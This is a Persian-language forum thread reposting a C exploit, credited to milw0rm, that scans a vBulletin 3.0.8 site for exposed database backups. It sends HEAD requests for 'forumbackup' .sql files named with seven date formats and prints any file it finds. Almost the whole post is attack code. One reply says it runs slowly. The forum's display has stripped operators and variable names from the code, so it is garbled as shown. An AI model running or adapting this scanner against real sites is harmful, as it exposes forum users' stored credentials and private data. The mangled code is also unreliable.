اطلاعیه

Collapse
No announcement yet.

vBulletin3.0.8 database Backup Exploit

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • vBulletin3.0.8 database Backup Exploit

    کد PHP:
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <unistd.h>

    #define SERVER_PORT 80

    char *getdate(int b){
        static 
    char datestring[40];
        
    time_t ttt;
            
    int minustime;
        
    minustime=86400 b;
        
    ttt=time(NULL)- minustime;
        
    strftime (datestringsizeof(datestring), "%m-%d-%Y"localtime(&ttt));
        
    printf("Searching: forumbackup-%s.sql\n"datestring);
        return(
    datestring);
    }

    char *getdate2(int b){
            static 
    char datestring[40];
            
    time_t ttt;
            
    int minustime;
            
    minustime=86400 b;
            
    ttt=time(NULL)- minustime;
            
    strftime (datestringsizeof(datestring), "%Y-%d-%m"localtime(&ttt));
            
    printf("Searching: forumbackup-%s.sql\n"datestring);
            return(
    datestring);
    }

    char *getdate3(int b){
            static 
    char datestring[40];
            
    time_t ttt;
            
    int minustime;
            
    minustime=86400 b;
            
    ttt=time(NULL)- minustime;
            
    strftime (datestringsizeof(datestring), "%d-%m-%Y"localtime(&ttt));
            
    printf("Searching: forumbackup-%s.sql\n"datestring);
            return(
    datestring);
    }

    char *getdate4(int b){
        static 
    char datestring[40];
        
    time_t ttt;
            
    int minustime;
        
    minustime=86400 b;
        
    ttt=time(NULL)- minustime;
        
    strftime (datestringsizeof(datestring), "%m.%d.%Y"localtime(&ttt)); // hals1
        
    printf("Searching: forumbackup-%s.sql\n"datestring);
        return(
    datestring);
    }

    char *getdate5(int b){
            static 
    char datestring[40];
            
    time_t ttt;
            
    int minustime;
            
    minustime=86400 b;
            
    ttt=time(NULL)- minustime;
            
    strftime (datestringsizeof(datestring), "%Y.%d.%m"localtime(&ttt)); // hals1
            
    printf("Searching: forumbackup-%s.sql\n"datestring);
            return(
    datestring);
    }

    char *getdate6(int b){
            static 
    char datestring[40];
            
    time_t ttt;
            
    int minustime;
            
    minustime=86400 b;
            
    ttt=time(NULL)- minustime;
            
    strftime (datestringsizeof(datestring), "%d.%m.%Y"localtime(&ttt)); // hals1
            
    printf("Searching: forumbackup-%s.sql\n"datestring);
            return(
    datestring);
    }

    char *getdate7(int b){
            static 
    char datestring[40];
            
    time_t ttt;
            
    int minustime;
            
    minustime=86400 b;
            
    ttt=time(NULL)- minustime;
            
    strftime (datestringsizeof(datestring), "%d%m%Y"localtime(&ttt)); // Tyn0r
            
    printf("Searching: forumbackup-%s.sql\n"datestring);
            return(
    datestring);
    }

    main(int argcchar *argv[]) {

     
    char buffer[1000],host[255],path[255],dog[255],c;
     
    int sdrci=0d=0b;
     
    struct sockaddr_in localAddrservAddr;
     
    struct hostent *h;

    char *http =
             
    "Accept: */*\r\n"
             "Accept-Language: en-us,en;q=0.5\r\n"
             "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
             "User-Agent: we want your backups - milw0rm\r\n"
             "Connection: close\r\n\r\n"
    ;

    if ( 
    argc != 5) {
                
    printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n");
                
    printf("usage: %s -h hostname/ip -p /path/ \n",argv[0]);
                exit(
    0);
    }


     while ((
    getopt (argcargv"h:p:")) != EOF)
           switch(
    c)
           {
                   case 
    'h':
                           
    strncpy(host,optarg,sizeof(host));
                           break;
                   case 
    'p':
                           
    strncpy(path,optarg,sizeof(path));
                           break;
           }

     
    gethostbyname(host);
     
     if(
    h==NULL) {
       
    printf("Unknown Host '%s'\n",host);
       exit(
    1);
     }

     
    printf("Trying To Connect To [%s]\n",host);
     while(
    1){
     
    servAddr.sin_family h->h_addrtype;
     
    memcpy((char *) &servAddr.sin_addr.s_addrh->h_addr_list[0], h->h_length);
     
    servAddr.sin_port htons(SERVER_PORT);
     
    sd socket(AF_INETSOCK_STREAM0);
     
     if(
    sd<0) {
       
    perror("Can Not Open The Socket\n");
       exit(
    1);
     }

     
    localAddr.sin_family AF_INET;
     
    localAddr.sin_addr.s_addr htonl(INADDR_ANY);
     
    localAddr.sin_port htons(0);

     
    rc bind(sd, (struct sockaddr *) &localAddrsizeof(localAddr));
     
     if(
    rc<0) {
       
    printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
       
    perror("error ");
       exit(
    1);
     }

     
    rc connect(sd, (struct sockaddr *) &servAddrsizeof(servAddr));

     if(
    rc<0) {
       
    perror("cannot connect\n");
       exit(
    1);
     }
       
    memset(buffer,0,sizeof(buffer));

       if ( 
    == ) {
       
    snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate(i),host,http);
       } else if ( 
    == ) {
       
    snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate2(i),host,http);
       } else if ( 
    == ) {
       
    snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate3(i),host,http);
       } else if ( 
    == ) {
       
    snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate4(i),host,http);
       } else if ( 
    == ) {
       
    snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate5(i),host,http);
       } else if ( 
    == ) {
       
    snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate6(i),host,http);
       } else if ( 
    == ) {
       
    snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate7(i),host,http);
       }

       
    rc send(sd,bufferstrlen(buffer), 0);
       
    memset(buffer,0,sizeof(buffer));

    while(
    1)
           {
           
    rc=recv(sd,buffer,sizeof(buffer),0);
           if(
    strstr(buffer,"404")) break;
           if(
    strstr(buffer,"200 OK"))
                   {
               if ( 
    == ) {
                   
    printf("Database backup found: %s%sforumbackup-%s.sql\n"hostpathgetdate(i));
               }
               if ( 
    == ) {
                   
    printf("Database backup found: %s%sforumbackup-%s.sql\n"hostpathgetdate2(i));
               }
               if ( 
    == ) {
                   
    printf("Database backup found: %s%sforumbackup-%s.sql\n"hostpathgetdate3(i));
               }
               if ( 
    == ) {
               
    printf("Database backup found: %s%sforumbackup-%s.sql\n"hostpathgetdate4(i));
               }
               if ( 
    == ) {
               
    printf("Database backup found: %s%sforumbackup-%s.sql\n"hostpathgetdate5(i));
               }
               if ( 
    == ) {
               
    printf("Database backup found: %s%sforumbackup-%s.sql\n"hostpathgetdate6(i));
               }
               if ( 
    == ) {
               
    printf("Database backup found: %s%sforumbackup-%s.sql\n"hostpathgetdate7(i));
               }
                   exit(
    0);
                   }
           
    memset(buffer,0,sizeof(buffer));
           }
    close(sd);

    if ( 
    ) {
        
    d++;
    } else {
        
    d=0;
            
    i++;
    }

    }

  • #2
    خيلي سرعتش پايينه چون حي اسم ها رو چك مي كنه مخصوصا با اين اينترنت درپيتي من

    Comment

    Working...
    X